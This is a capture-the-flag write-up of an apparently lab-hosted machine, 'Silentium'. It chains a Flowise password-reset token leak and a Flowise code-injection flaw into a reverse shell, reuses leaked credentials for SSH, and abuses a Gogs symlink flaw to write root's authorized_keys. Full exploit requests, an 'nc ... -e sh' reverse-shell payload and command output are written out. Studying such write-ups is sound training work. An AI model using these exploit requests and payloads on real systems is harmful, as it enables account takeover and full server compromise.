by 0xW1LD

As usual we start off with an nmap port scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
| 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 033771DFEF9C64EFA01CAF726E3629A9
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Silentium | Institutional Capital & Lending Solutions
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
As usual with Linux machines on HTB we only find 2 ports open:
22 - OpenSSH 9.6p1 on Ubuntu80 - nginx 1.24.0Visiting the nginx website on port 80 we’re greated with a Financial solutions platform.
![[assets/img/img_2026-09-12-silentium/86247c3111836f42f2a428ac2ef50c83_MD5.png]]
Which is a mostly static site only running javascript for the calculator feature of the site. Notably however we can find several names that we may be able to use:
1
2
3
Marcus Throne
Ben
Elena Rossi
I’ve used username-anarchy to put these into a list of possible usernames.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ cat usernames.txt
marcus
marcusthorne
marcus.thorne
marcusth
marcthor
marcust
m.thorne
mthorne
tmarcus
t.marcus
thornem
thorne
thorne.m
thorne.marcus
mt
ben
elena
elenarossi
elena.rossi
elenaros
elenross
elenar
e.rossi
erossi
relena
r.elena
rossie
rossi
rossi.e
rossi.elena
er
Running a quick subdomain scan we can find the staging domain pretty quickly.
1
2
$ ffuf -u "http://silentium.htb" -H "Host: FUZZ.silentium.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -mc all -fc 301 -s
staging
Visiting the staging subdomain we’re greated with a Flowise AI login page.
![[assets/img/img_2026-09-12-silentium/d3b92953326878853d858959d9ff15aa_MD5.png]]
Searching around on the internet for Flowise AI CVEs we can come across a recent CVE: CVE-2025-58434 which exploits the forgot-password endpoint of flowise 3.0.5 to create a tempToken which we can then use against the reset-password endpoint to reset the password.
I’ll first create a POST request against the forgot-password endpoint with a non-existent email.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/v1/account/forgot-password HTTP/1.1
Host: staging.silentium.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-request-from: internal
Content-Length: 42
Origin: http://staging.silentium.htb
Connection: keep-alive
Referer: http://staging.silentium.htb/forgot-password
Priority: u=0
{"user":{"email":"w1ld@0xw1ld.github.io"}}
I’ll then use this with FFUF changing the email to FUZZ@silentium.htb so I can run through all the possible usernames that were generated
1
2
$ ffuf -request forgot-password.txt -request-proto http -w ./usernames.txt -mc all -fc 404,500 -s
ben
Looks like we got a hit on ben, let’s take a look at the response of the request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 13 Apr 2026 09:06:24 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 579
Connection: close
Access-Control-Allow-Origin: http://staging.silentium.htb
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"243-URl9UjZmeOjL8e5VXyumjOvoJCo"
{
"user": {
"id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"name": "admin",
"email": "ben@silentium.htb",
"credential": "$2a$05$dNN9sCyyu5NBe7WAWEcP6O63yoiRBLIVB/7QniqG/sSFEtFbXdf8i",
"tempToken": "yzH9VbhjJVU5ygZS7XAalPCKi7v318SGeFJdp81D2tMkTZL1EKg4JqHLPSKgDOBX",
"tokenExpiry": "2026-04-13T09:21:24.506Z",
"status": "active",
"createdDate": "2026-01-29T20:14:57.000Z",
"updatedDate": "2026-04-13T09:06:24.000Z",
"createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
},
"organization": {},
"organizationUser": {},
"workspace": {},
"workspaceUser": {},
"role": {}
}
We can then immediately use this tempToken to reset our password with the following request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/v1/account/reset-password HTTP/1.1
Host: staging.silentium.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-request-from: internal
Content-Length: 143
Origin: http://staging.silentium.htb
Connection: keep-alive
Referer: http://staging.silentium.htb/reset-password
Priority: u=0
{"user":{"email":"ben@silentium.htb","tempToken":"yzH9VbhjJVU5ygZS7XAalPCKi7v318SGeFJdp81D2tMkTZL1EKg4JqHLPSKgDOBX","password":"P@ssword123"}}
We’re then able to login with the updated password. ![[assets/img/img_2026-09-12-silentium/6823b15533a30d7c44f7a190be4167e7_MD5.png]]
We’re now able to exploit another CVE we would have found during our searching CVE-2025-59528 which allows us to execute arbitrary commands. So let’s start a listener.
1
2
$ socat -dd TCP-LISTEN:9001,reuseaddr,fork -
2026/04/13 05:41:14 socat[63360] N listening on AF=2 0.0.0.0:9001
After which I sent the following request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /api/v1/node-load-method/customMCP HTTP/1.1
Host: staging.silentium.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-request-from: internal
Content-Length: 2328
Origin: http://staging.silentium.htb
Connection: keep-alive
Referer: http://staging.silentium.htb/canvas
Cookie: connect.sid=s%3AKaIvBAQA3T6kvLU20GGaXlr4Tv0iV9PA.E05h%2B9o3HgcRB0M8ZKN%2B%2Bb%2Bkre0PNNOudf2JtbwXSKw; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImUyNmM5ZDZjLTY3OGMtNGMxMC05ZTM2LTAxODEzZThmZWE3MyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiYWE0M2Q2ZjIyN2I1YzViZjUwMGJiYTRkNTBkMDU2MzM6ZjY4ZWM4NjNiZDNlMmJkMzgyMWJlNmEwMzRkNGE5ZjZkZGM4ZDc4ZTU2NGRhMjVhNDc0YmIyN2MwYTEzODcyZDU5M2FhOGIxNjE2OTQ2MWE0N2RhODFkMDM5NjVlMjllNTI0MjQyNDU2ODQyNzMzMzc1YjU1MDI0ZmNkYzBiYTkzMjI2Yjk5N2MyYzQyYTE2YTNiZGI3YWU2Zjg5OWZkOCIsImlhdCI6MTc3NjA3MTMwOSwibmJmIjoxNzc2MDcxMzA5LCJleHAiOjE3NzYwOTI5MDksImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.ASVOaYlhMDyiNlLW7JC0SqruDbEeynH6Si8W38vfwM8; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImUyNmM5ZDZjLTY3OGMtNGMxMC05ZTM2LTAxODEzZThmZWE3MyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiNWNmNTk2YzcxZWFlOWE1MDdhYzVjZjg5NjJlMTE4Y2M6M2FlMjI2ZDc3MDU2NGI3ODMzM2M0MTYzMDcxOGU3MTE3NzQ0NTFjODY4ZTVlYzZiZWE4YTdlYWJhMmJkOWVjZDljMzUwMmI3Mjk1NzAzYzQwMjM1OGY2N2JhOTlmZjJkYWY0YzYwY2U3MTM2ZTE4NWUzZmRjYTdjZjQzODdhMGNlOTQ1YWI4Yzc2N2NlYjJhYzY0MmI3MmRkNmE0NmMyYiIsImlhdCI6MTc3NjA3MTMwOSwibmJmIjoxNzc2MDcxMzA5LCJleHAiOjE3Nzg2NjMzMDksImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.D8-jmoSG-778IM0iqMzRu7b_gutEBth8fNjszP-c_Cs
Priority: u=0
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"nc 10.10.14.31 9001 -e sh\");return 1;})()})"
}
}
Which resulted in a call back in my listener!
1
2
3
4
5
6
7
2026/04/13 05:41:25 socat[63360] N accepting connection from AF=2 10.129.250.34:37471 on AF=2 10.10.14.31:9001
2026/04/13 05:41:25 socat[63360] N forked off child process 63456
2026/04/13 05:41:25 socat[63360] N listening on AF=2 0.0.0.0:9001
2026/04/13 05:41:25 socat[63456] N reading from and writing to stdio
2026/04/13 05:41:25 socat[63456] N starting data transfer loop with FDs [6,6] and [0,1]
whoami
root
Taking a look around we find we’re in a docker container with the presence of .dockerenv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ls -lash
total 68K
4.0K drwxr-xr-x 1 root root 4.0K Apr 13 09:40 .
4.0K drwxr-xr-x 1 root root 4.0K Apr 13 09:40 ..
0 -rwxr-xr-x 1 root root 0 Apr 8 15:14 .dockerenv
4.0K drwxr-xr-x 1 root root 4.0K Jul 16 2025 bin
0 drwxr-xr-x 5 root root 340 Apr 13 08:24 dev
4.0K drwxr-xr-x 1 root root 4.0K Apr 8 15:14 etc
4.0K drwxr-xr-x 1 root root 4.0K Jul 16 2025 home
4.0K drwxr-xr-x 1 root root 4.0K Jul 15 2025 lib
4.0K drwxr-xr-x 5 root root 4.0K Jul 15 2025 media
4.0K drwxr-xr-x 2 root root 4.0K Jul 15 2025 mnt
4.0K drwxr-xr-x 1 root root 4.0K Jul 16 2025 opt
0 dr-xr-xr-x 286 root root 0 Apr 13 08:24 proc
4.0K drwx------ 1 root root 4.0K Apr 8 09:41 root
4.0K drwxr-xr-x 3 root root 4.0K Jul 15 2025 run
4.0K drwxr-xr-x 2 root root 4.0K Jul 15 2025 sbin
4.0K drwxr-xr-x 2 root root 4.0K Jul 15 2025 srv
0 dr-xr-xr-x 13 root root 0 Apr 13 08:24 sys
4.0K drwxrwxrwt 1 root root 4.0K Apr 13 09:41 tmp
8.0K drwxr-xr-x 1 root root 4.0K Apr 8 09:41 usr
4.0K drwxr-xr-x 1 root root 4.0K Jul 15 2025 var
Looking at our env we can find several clear text credentials
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=[REDACTED]
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
reusing the SMTP_PASSWORD we’re able to SSH onto the machine as ben
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ ssh ben@silentium.htb
The authenticity of host 'silentium.htb (10.129.250.34)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'silentium.htb' (ED25519) to the list of known hosts.
ben@silentium.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Apr 13 09:45:18 AM UTC 2026
System load: 0.0
Usage of /: 82.9% of 13.37GB
Memory usage: 19%
Swap usage: 0%
Processes: 231
Users logged in: 0
IPv4 address for eth0: 10.129.250.34
IPv6 address for eth0: dead:beef::250:56ff:fe95:b129
=> There are 4 zombie processes.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Last login: Wed Apr 8 19:12:55 2026 from 10.10.14.5
ben@silentium:~$ ls -lash
total 28K
4.0K drwxr-x--- 3 ben ben 4.0K Apr 8 19:53 .
4.0K drwxr-xr-x 3 root root 4.0K Apr 8 09:41 ..
0 -rw------- 1 ben ben 0 Apr 8 19:53 .bash_history
4.0K -rw-r--r-- 1 ben ben 220 Jan 29 13:53 .bash_logout
4.0K -rw-r--r-- 1 ben ben 3.7K Jan 29 13:53 .bashrc
4.0K drwx------ 2 ben ben 4.0K Apr 8 09:41 .cache
4.0K -rw-r--r-- 1 ben ben 807 Jan 29 13:53 .profile
4.0K -rw-r----- 1 root ben 33 Apr 13 08:25 user.txt
Just like that, we have User!
Taking a look around we can find several ports listening
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ben@silentium:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:43667 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Doing some recon with curl and nc I’ve identified the most interesting one to be port 3001. Which after forwarding to our local port we’re greeted by a Gogs git service.
![[assets/img/img_2026-09-12-silentium/8266d00ed73edecb03d0917b7df19572_MD5.png]]
As well as port 8025 which is MailHog
![[assets/img/img_2026-09-12-silentium/c2bfde523ea876f56bc1142f7b09939e_MD5.png]]
We’re unable to login or reset ben’s password on Gogs, however we are able to register and login.
![[assets/img/img_2026-09-12-silentium/64496abeebc053ef5af890dc4b6f4c59_MD5.png]]
Taking a look around we can find another CVE: CVE-2024-55947 which was patched but had a new update in CVE-2025-8110. So let’s setup and initialize a repository and clone it.
1
http://staging-v2-code.dev.silentium.htb:3001/w1ld/w1ld.git
Next let’s grab an API token from /user/settings/applications.
1
922eb1f7e0487578b537f6c00baad5de95a4d3a8
Let’s create the symlink, add the file, and push the changes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ben@silentium:/tmp/w1ld$ ln -s /root/.ssh/authorized_keys keys
ben@silentium:/tmp/w1ld$ git add *
ben@silentium:/tmp/w1ld$ git commit -am '[w1ld] add keys'
[master 160ae1b] [w1ld] add keys
1 file changed, 1 insertion(+), 1 deletion(-)
ben@silentium:/tmp/w1ld$ git push
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 302 bytes | 302.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Username for 'http://localhost:3001': w1ld
Password for 'http://w1ld@localhost:3001':
To http://localhost:3001/w1ld/w1ld.git
b660a00..160ae1b master -> master
Finally let’s send the request with the base64 of our public ssh key
1
2
3
4
5
6
PUT /api/v1/repos/w1ld/w1ld/contents/keys HTTP/1.1
Host: 127.0.0.1:3001
Content-Type: application/json
Authorization: token 922eb1f7e0487578b537f6c00baad5de95a4d3a8
{"message":"test","content":"c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUxCREJWcllobEpmdE9HaEpzSGZSeDNBSXBHQWs0MnB0SUV1b2pERzlYMTUga2FsaUBrYWxpCg=="}
We should now be able to ssh onto silentium as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ ssh root@silentium.htb
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Apr 13 10:36:51 AM UTC 2026
System load: 0.05
Usage of /: 82.9% of 13.37GB
Memory usage: 20%
Swap usage: 0%
Processes: 235
Users logged in: 1
IPv4 address for eth0: 10.129.250.34
IPv6 address for eth0: dead:beef::250:56ff:fe95:b129
=> There are 4 zombie processes.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@silentium:~#
Just like that, we have Root!
tags: os/linux - diff/easy